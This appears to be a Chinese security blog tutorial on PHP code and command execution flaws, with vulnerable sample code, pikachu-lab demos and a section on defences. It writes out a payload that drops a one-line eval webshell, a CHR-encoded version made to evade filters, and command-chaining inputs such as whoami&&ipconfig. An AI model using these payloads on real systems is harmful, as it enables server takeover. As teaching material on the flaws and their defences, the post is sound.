命令执行

命令执行

效果类似包含攻击,主要是由于输入的参数被当成命令来执行。

远程命令执行漏洞

1.利用系统函数实现

在PHP下,允许远程命令执行的函数有eval()、assert()、preg_replace()、call_user_func()。如果页面中存在上述函数且其参数可被用户控制,同时没有对参数做有效的过滤,那么就可能存在远程命令执行漏洞。

1.eval()与assert()函数的区别

eval()与assert()函数在执行效果上基本相同,均可动态执行代码,且接收的参数为字符串。assert()函数虽然也会执行参数内的代码,但主要用来判断一个表达式是否成立,并返回true或false。实战中,eval()函数通常会被系统禁用,因此在一句话木马中通常利用assert()来实现代码执行。

但需要注意的是:eval参数必须是合法的PHP代码,必须以分号结尾,否则会报错。

eval("phpinfo();"); //应符合PHP的代码规范,须在phpinfo()后面添加“

assert(" phpinfo() "); //assert没这要求

2.preg_replace()函数

使用preg_replace()函数的好处在于,此函数在业务系统中广泛使用,因此无法直接在PHP中进行禁用,在适用范围上比eval()、assert()函数好很多。但随着PHP版本的提升,preg-replace()函数可使用的范围也非常小了。

其用法是执行一个正则表达式的搜索和替换

格式为:

1
2
3
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

//搜索subject中匹配pattern的部分,以replacement进行替换。

该函数的主要问题在于,当参数$pattern处存在一个“/e”修饰符时,$replacement的值会被当成PHP代码来执行。此时代码

1
2
3
<?php
echo preg_replace("/test/e",$_GET['sds'],"just a test!");
?>

输入值为phpinfo(),会被解析成代码执行。

仅限于PHP5.4及以下版本中,5.5之后废弃了这个修饰符。要求用preg_replace_callback()函数来代替。

3.利用其他函数调用实现

利用其他函数的组合来实现类似功能。PHP中有许多函数具有调用其他函数的功能,如array_map()函数、call_user_func()函数等,这里以array_map函数为例

1
2
3
4
5
<?php
$cmd = $_GET['cmd'];
$some_array = array(0, 1, 2, 3);
$new_array = array_map($cmd, $some_array);
?>

同类型函数

·ob_start()、unserialize()、create_function()

·usort()、uasort()、uksort()

·array_filter()

·array_reduce()

·array_diff_uassoc()、array_diff_ukey()

·array_udiff()、array_udiff_assoc()、array_udiff_uassoc()

·array_intersect_assoc()、array_intersect_uassoc()

·array_uintersect()、array_uintersect_assoc()、array_uintersect_uassoc()

·array_walk()、array_walk_recursive()

·xml_set_character_data_handler()

·xml_set_default_handler()

·xml_set_element_handler()

·xml_set_end_namespace_decl_handler()

·xml_set_external_entity_ref_handler()

·xml_set_notation_decl_handler()

·xml_set_processing_instruction_handler()

·xml_set_start_namespace_decl_handler()

·xml_set_unparsed_entity_decl_handler()

·stream_filter_register()

·set_error_handler()

·register_shutdown_function()

·register_tick_function()

4.利用动态函数执行

PHP语言的特性之一就是当前的PHP函数可直接由字符串拼接而成。因此,很多程序用了动态函数的写法,比如用可控的函数名来动态生成要执行的函数名称及内容。

在命令执行功能中,可利用这个特性实现命令的执行。环境测试代码如下:

1
2
3
4
5
<?php
$a=$_GET['a'];
$b=$_GET['b'];
echo $a($b);
?>

当然,在实际中不会这么写,没意义

url中输入?a=assert&b=phpinfo()即可执行。

注意:在php7.1版本之后 assert()默认不再可以执行代码

2.利用漏洞获取webshell

存在远程命令执行漏洞,攻击者最想获得的就是目的站点的webshell,即目标站点的控制权限。

利用木马技术是获取webshell的有效手段。针对存在远程命令执行漏洞的环境,攻击者会尝试构建可执行的命令,并在命令执行后会导致目标站点在其本地生成一个PHP页面。生成的PHP页面中包含一句话木马。有效命令如下:

fputs(fopen("a.php","w"),'<?php eval($_POST["cmd"])?>');

为了防止被进行编码和过滤嘞,利用chr对所有字符进行ASCII转换,进而执行。

如:

1
eval(CHR(102).CHR(112).CHR(117).CHR(116).CHR(115).CHR(40).CHR(102).CHR(111).CHR(112).CHR(101).CHR(110).CHR(40).CHR(34).CHR(97).CHR(46).CHR(112).CHR(104).CHR(112).CHR(34).CHR(44).CHR(34).CHR(119).CHR(34).CHR(41).CHR(44).CHR(39).CHR(60).CHR(63).CHR(112).CHR(104).CHR(112).CHR(32).CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(34).CHR(99).CHR(109).CHR(100).CHR(34).CHR(93).CHR(41).CHR(63).CHR(62).CHR(39).CHR(41).CHR(59))

后台代码就这个,php5.3版本

1
2
3
<?php
echo preg_replace("/test/e",$_GET['cmd'],"just a test!");
?>

是有的哈,蚁剑等一句话木马工具连接就可以了。

单引号与双引号

关于payload的构造,务必要清楚单引号与双引号的区别。如果使用单引号,则引号内部的变量不会执行,会被系统直接输出;而双引号里的字段会经过编译器解释后进行执行,上述payload在执行fputs函数时首先要把第二个参数当做字符串处理,后面参数若用双引号包含,则程序会抛出异常,同时文件只会写入<?php eval()?>,写入一句话失败。

url编码,单引号%27,双引号%22,记录一下。

函数被当作字符串进行输出而不会被执行。

1
2
3
<?php
echo "phpinfo()"; //直接输出字符串了
?>

需要利用大括号等进行特殊构造,以达到函数执行的效果。

1
2
3
<?php
echo "{${phpinfo()}}";
?>

7.3版本都是可以的。

系统命令执行漏洞

利用系统自身的命令实现额外的命令执行。

比如有的靶场,让你输入ip,它会帮你去检测ip地址能否连通,这就用到了系统的ping功能。

PHP的系统命令执行函数也能实现,比如

system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open()等,此外还有反引号命令执行,这种方式实际上是调用shell_exec()函数来执行。

这个pikachu、DVWA都有。

以pikachu为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
// $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}

}

...

<div class="page-content">

<div id="comm_main">
<p class="comm_title">Here, please enter the target IP address!</p>
<form method="post">
<input class="ipadd" type="text" name="ipaddress" />
<input class="sub" type="submit" name="submit" value="ping" />
</form>

<?php
if($result){
echo "<pre>{$result}</pre>";
}
?>
</div>

输入ip,将ping命令与ip拼接,并执行。

输入ip没有过滤和限制,考虑如何同时执行两条系统命令。

在cmd中:

C:\Users\67538>whoami&&ipconfig
laptop-0kttc8k5\67538

Windows IP 配置

以太网适配器 以太网 2:

当然了,**;和||**效果类似

有效防护

主要思路是消除漏洞存在环境,或针对传入的参数进行严格限制或过滤

1.禁用部分系统函数

在PHP下禁用高危系统函数的方法为:打开PHP安装目录,找到php.ini,查找到disable_functions,添加需禁用的函数名,如下所示:

1
phpinfo()、eval()、passthru()、exec()、system()、chroot()、scandir()、chgrp()、chown()、shell_exec()、proc_open()、proc_get_status()、ini_alter()、ini_alter()、ini_restore()、dl()、pfsockopen()、openlog()、syslog()、readlink()、symlink()、popepassthru()、stream_socket_server()、fsocket()、fsockopen()

2 严格过滤关键字符

1
2
3
4
5
6
$substitutions = array( 
'&&' => '',
';' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

过滤的关键字为“&&”“;”“”“||”,这些都可作为本地命令执行的关键字。远程的话,涉及的关键字符则比较复杂。在远程命令执行环境利用关键字符过滤并不十分合适。

3 严格限制允许的参数类型

令执行功能主要用于扩展用户的交互行为,允许用户输入特定的参数来实现更丰富的应用功能。

例如,对于本地命令执行环境,业务系统希望用户输入IP地址来实现ping功能。因此,如果能对用户输入参数进行有效的合法性判断,可避免在原有命令后面拼接多余命令,也就达到了防护远程命令执行攻击的效果。

比如,正则。

总结

命令执行漏洞使用方法较为直接,也能更好地理解漏洞存在的原理。

需要注意的一点是,很多Web框架,如struts、thinkphp等均在框架内实现类似命令执行的功能,但由于实现方式与此完全不同,其修复建议也只能参考对应的官方修复包。

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信